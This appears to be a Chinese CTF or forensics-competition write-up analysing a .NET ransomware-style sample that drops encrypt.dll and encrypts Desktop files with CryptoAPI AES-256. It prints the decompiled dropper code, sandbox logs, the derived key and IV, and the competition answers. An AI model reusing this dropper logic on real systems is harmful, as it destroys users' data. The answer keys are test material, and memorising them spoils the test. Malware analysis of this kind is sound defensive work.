使用工具: CAPEv2, x64dbg, dotPeek, Detect It Easy, IDA

这道题因为是用的系统API加密,比赛的时候用本地的CAPEv2一把梭了,后来听说有很多坑重新手搓了一遍,确实。
先查下程序信息。首先这里要能根据文件信息判断这是一个捆绑CLR运行时的单文件.NET程序,有些老的查壳工具可能看不出来。

Detect It Easy能扫到.NET Core(Loader)的库。
Detect  It Easy Result
如果这一步没发现是.NET程序,后续分析看到pdb路径或者CLR_UEF段也要及时发现,不然就走远了。
pdb path
CLR_UEF

33、分析程序“MicroSoft-Edge.zip”,实现“对桌面文件遍历并加密”逻辑的动态链接库文件为?

答案:encrypt.dll

看沙箱中释放文件的记录或者筛选运行记录中的文件操作,可以看到就释放了encrypt.dll这一个库文件。

API Arguments
NtCreateFile FileHandle: 0x0000063c
DesiredAccess: GENERIC_WRITE
FileName: C:\Users\win-msa2\AppData\Local\Temp\encrypt.dll
CreateDisposition: FILE_OVERWRITE_IF
ShareAccess: FILE_SHARE_READ
FileAttributes: 0x00000000
ExistedBefore: no
StackPivoted: no
NtWriteFile FileHandle: 0x0000063c
HandleName: C:\Users\win-msa2\AppData\Local\Temp\encrypt.dll
Buffer: MZ\x90\x00\x03……
Length: 131072
NtWriteFile FileHandle: 0x0000063c
HandleName: C:\Users\win-msa2\AppData\Local\Temp\encrypt.dll
Buffer: (_]\xc3\xcc\xcc\xcc……
Length: 94720
NtClose Handle: 0x0000063c

看一眼encrypt.dll的导入函数,都是wincrypt.h的CryptoAPI函数 (2025年了该考考CNG了),导出函数名是加解密文件夹。
如果这里通过逆向分析MicroSoft-Edge.exe来做,需要用ILSpy或者dotPeek,dnSpy没有对.NET6以上的支持,dnSpyEx对单文件的支持好像有一些问题,我试了原版和几个修改版都无法解析文件。反编译文件,也没有混淆什么的,可以看到Form1中的关键代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
private void button1_Click(object sender, EventArgs e)
{
int num1 = (int) MessageBox.Show("开始更新,请稍候……", "提示");
try
{
string lpFileName = Path.Combine(Path.GetTempPath(), "encrypt.dll");
string folderPath = Environment.GetFolderPath((Environment.SpecialFolder) 0);
using (Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream("MicroSoft_Edge.Resources.encrypt.dll"))
{
if (manifestResourceStream == null)
return;
using (FileStream fileStream = new FileStream(lpFileName, (FileMode) 2, (FileAccess) 2))
manifestResourceStream.CopyTo((Stream) fileStream);
}
IntPtr hModule = Form1.LoadLibrary(lpFileName);
if (IntPtr.op_Equality(hModule, IntPtr.Zero))
return;
IntPtr procAddress = Form1.GetProcAddress(hModule, "EncryptFolder");
if (IntPtr.op_Equality(procAddress, IntPtr.Zero))
return;
int num2 = Marshal.GetDelegateForFunctionPointer<Form1.EncryptFolderDelegate>(procAddress)(folderPath, "HiBroIamhere!!!!");
int num3 = (int) MessageBox.Show("桌面文件已被加密……", "温馨提示");
}
catch (Exception ex)
{
int num4 = (int) MessageBox.Show(ex.Message, "错误", MessageBoxButtons.OK, MessageBoxIcon.Hand);
}
}

外层代码很简单,用户点击按钮后,将资源文件MicroSoft_Edge.Resources.encrypt.dll释放到Temp目录的encrypt.dll,调用动态链接库的EncryptFolder函数,传入参数桌面路径和HiBroIamhere!!!!
其中Environment.SpecialFolder为0时的含义可以直接PowerShell查询。

1
2
PS > [System.Environment+SpecialFolder] 0
Desktop
34、分析程序“MicroSoft-Edge.zip”,程序从DLL中获取函数指针后,使用哪个API将其转换为委托并执行(区分大小写并完全匹配)?(答案格式:按实际值i填写,如FunA)

答案:GetDelegateForFunctionPointer

沙箱无法直接获取CLR的API调用,需要反编译程序或者用.NET的调试器。或者这里如果题目问的是EncryptFolder的参数,沙箱也没法一把梭出来,需要加调试脚本再运行,或者启动时加载frida脚本获取。
通过静态分析做,看上一题反编译的代码就能知道调用EncryptFolder的过程。

1
2
3
IntPtr hModule = Form1.LoadLibrary(lpFileName);
IntPtr procAddress = Form1.GetProcAddress(hModule, "EncryptFolder");
int num2 = Marshal.GetDelegateForFunctionPointer<Form1.EncryptFolderDelegate>(procAddress)(folderPath, "HiBroIamhere!!!!");

使用LoadLibrary加载库,使用GetProcAddress获取指定函数的指针,使用GetDelegateForFunctionPointer将非托管函数指针转换为可由.NET直接调用的委托,是一个典型的P/Invoke平台调用。

35、分析程序“MicroSoft-Edge.zip”,接上题,该动态链接库文件用于加密文件的加密算法为?(答案格式:RC4-128)

答案:AES-256

在沙箱的运行记录中筛选加解密相关的API,首先是一段RC4,密码是传入的参数HiBroIamhere!!!!,加密的数据是Guessifthisisit?,没有读取文件,也没有加密文件数据。可能是文件加密密钥的生成,先不管继续往后看。

API Arguments
CryptAcquireContextA Container:
Provider:
Flags: 0xf0000000
CryptImportKey Type: 0x00000008
Version: 0x00000002
Algid: RC4
KeyBlob: \x08\x02\x00\x00\x01h\x00\x00\x10\x00\x00\x00HiBroIamhere!!!!
Flags: 0x00000000
CryptKey: 0x21dbd77b540
Length: 28
CryptEncrypt CryptKey: 0x21dbd77b540
CryptHash: 0x00000000
Buffer: Guessifthisisit?
Length: 16
Final: 1
CryptDestroyKey CryptKey: 0x21dbd77b540

接着遍历桌面文件并读取内容。

API Arguments
FindFirstFileExW FileName: C:\Users\win-msa2\Desktop*
FirstCreateTimeLow: 0x65f281ca
FirstCreateTimeHigh: 0x01dc5a89
NtCreateFile FileHandle: 0x00000638
DesiredAccess: GENERIC_READ
FileName: C:\Users\win-msa2\Desktop\desktop.ini
CreateDisposition: FILE_OPEN
ShareAccess: FILE_SHARE_READ
FileAttributes: FILE_ATTRIBUTE_NORMAL
ExistedBefore: yes
StackPivoted: no
NtReadFile FileHandle: 0x00000638
HandleName: C:\Users\win-msa2\Desktop\desktop.ini
Buffer: \xff\xfe……
NtClose Handle: 0x00000638

读取文件后就是加密文件的过程了,加密后写入加密数据。

API Arguments
CryptAcquireContextW Container:
Provider:
Flags: 0xf0000000
CryptCreateHash Algid: SHA_256
CryptKey: 0x00000000
Hash object: 0x21dbd77c2d0
CryptHashData CryptHash: 0x21dbd77c2d0
Buffer: <#\x89\xb9\xd7\xe0H\x85\xb5\xf8]j0\xbf\xcc
\xb8\xb0\xd2\xade\xb3\x130\xc0/e\xf8\xa9\xf6T\xab\x9a
Length: 32
CryptDeriveKey Algid: AES_256
BaseData: 0x21dbd77c2d0
CryptKey: 0x21dbd77bcb0
CryptSetKeyParam CryptKey: 0x21dbd77bcb0
Param: KP_IV
Buffer: 0701080109091001
Flag: 0
CryptEncrypt CryptKey: 0x21dbd77bcb0
CryptHash: 0x00000000
Buffer: R\x8d\xb2……\
Length: 288
Final: 1
CryptDestroyKey CryptKey: 0x21dbd77bcb0
CryptDestroyHash CryptHash: 0x21dbd77c2d0

根据运行记录中的加密逻辑,加密过程先调用CryptCreateHash创建了SHA-256哈希对象,调用CryptHashData将下面的数据添加到哈希对象。

1
<#\x89\xb9\xd7\xe0H\x85\xb5\xf8]j0\xbf\xcc\xb8\xb0\xd2\xade\xb3\x130\xc0/e\xf8\xa9\xf6T\xab\x9a

调用CryptDeriveKey用哈希对象派生AES-256的密码。调用CryptSetKeyParam设置IV为0701080109091001。没有设置KP_MODE,所以使用的是默认的加密模式,按CryptoAPI文档是CRYPT_MODE_CBC。那么后面两题的答案也就都有了。

这道题其实还有个坑在,比赛完听很多选手说这个程序运行没有反应,没有加密文件。其实是因为缺少动态链接库,我的沙箱虚拟机是直接用Windows Development Environment改的,刚好避开了这个坑。运行起来挂上调试器,设置用户DLL自动断点,如果环境中缺少动态链接库很容易发现encrypt.dll没有载入成功,调试器没能进入encrypt.dll,调试器里能看到DLL在尝试载入后立即被卸载了。
error load lib
查看调用堆栈,设置断点到加载encrypt.dllLoadLibraryA调用后,可以看到LoadLibraryA的返回值为0,异常是ERROR_MOD_NOT_FOUNDSTATUS_DLL_NOT_FOUND

看了眼导入表才发现程序是动态链接的Debug版本,这勒索病毒只加密程序员的电脑是吧。
import dll
从VS目录里找到VC和CRT的Debug版本库放到逆向环境的虚拟机中就可以正常运行,Debug版本库的参考路径如下,版本不同路径会有所差异。

1
2
C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.44.35112\debug_nonredist\x64\Microsoft.VC143.DebugCRT
C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs\Microsoft.UniversalCRT.Debug\10.0.26100.0\Redist\Debug\x64

解决了无法运行的问题,后面的分析就简单了,根据导入的加密函数定位到解密逻辑,转换Enum提高代码可读性。
Crypt Function
设置CryptCreateHashCryptSetKeyParam两处断点。在CryptHashData断点处读取R8记录的长度0x20,从RDX的地址读取0x20字节,计算数据的SHA-256哈希即为密钥。

CryptSetKeyParam断点处,从R8寄存器的地址读取16字节,即为IV。

另外还有个要注意的点是调试时桌面需要有可以被加密的文件,如果没有文件不会执行加密逻辑。

36、分析程序“MicroSoft-Edge.zip”,接上题,该加密算法的初始密钥(十六进制)?(答案格式:字母大写)

答案:
BAD9AE9D603867DCE0D6551564F804215AA44ED99D6E774AB6767215225277B9

见第35题解析。

37、分析程序“MicroSoft-Edge.zip”,接上题,该加密算法的初始向量(十六进制)?(答案格式:字母大写)

答案:30373031303830313039303931303031

见第35题解析

38、分析程序“MicroSoft-Edge.zip”,对附件try.txt.enc进行解密,解密后的内容为?(答案格式:按实际值填写)

答案:恭喜

按前面获取的加密参数解密即可。
decrypted data